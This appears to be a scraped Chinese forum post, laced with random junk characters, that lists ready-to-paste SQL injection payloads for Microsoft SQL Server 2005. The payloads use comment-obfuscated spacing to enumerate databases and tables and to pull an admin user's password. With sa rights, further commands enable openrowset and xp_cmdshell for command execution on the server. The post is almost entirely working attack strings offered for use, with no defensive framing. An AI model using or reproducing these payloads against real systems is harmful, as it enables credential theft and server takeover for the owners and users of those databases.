" f$ v H+ [6 H6 ?/ s
: b# O5 h: h0 x! A7 B3 Q+ `+ u+ i" E0 `8 M. B, C6 K5 ~, |) k f
[Copy to clipboard]CODE:
) z6 ~% J1 D* v8 P/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--# ~% Y' ^* i" L
2 v* @" z9 [7 K. `1 I" Q; B% S爆表语句,somedb部份是所要列的数据库,红色数字1累加
- L# i% l; b9 m
6 ]% O& g: h% s+ _- ~! ]# H
$ r/ H6 ~$ t+ U# N4 N; b[Copy to clipboard]CODE:
9 V2 k/ t3 n& z6 f0 Y; x4 B/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
3 J" z5 A" \4 A. g% ^7 Y3 Y# }7 E n8 j3 i# ]' V9 i5 F
爆字段语句,爆表admin里user='icerover'的密码段
1 @# D- H t0 J3 P/ `+ l& O
' ^8 N: o, c, m: w7 ]' |4 i; L- P& ]9 G3 y
[Copy to clipboard]CODE:" L7 H. p. f2 M( C" A5 G0 U3 o
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--2 ^ `/ R! _0 V7 [5 z( |2 e: Q
4 g; f4 f+ x# Z8 S
mssql2005默认没有开xp_cmdshell的,openrowset也不能用3 M( Q' V+ F( j" g
如果是sa权限,可以这样来开启$ \1 F( [; o/ W
开启openrowset. f3 E1 I! m% d- t- z
$ }2 A6 d9 b' u. h* M% S
, D) \0 `, W% R+ H* `7 R
[Copy to clipboard]CODE:" M2 L2 _8 s! r6 N8 w( s) J
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;-- k$ Z- X" J8 i" s1 n* t( j0 I2 h
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
" ~& X2 g! B" ^2 |! A3 h6 I c- j
开启xp_cmdshell
0 ?3 v6 i, s9 X0 p- o) F, D
1 ~7 B" X# d3 W0 q7 v3 H' L! j5 [1 I {5 k6 N6 {2 y
[Copy to clipboard]CODE:; b* G# `: z0 U8 B
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
- s% f0 O( U. i( v9 k% `7 NEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--5 `& U# n" p+ ~3 |8 R5 x& G7 C
m5 l" _! O+ t& T* o) _
ok,over~~晚安! c9 d& M7 `9 h* G% Y8 X
|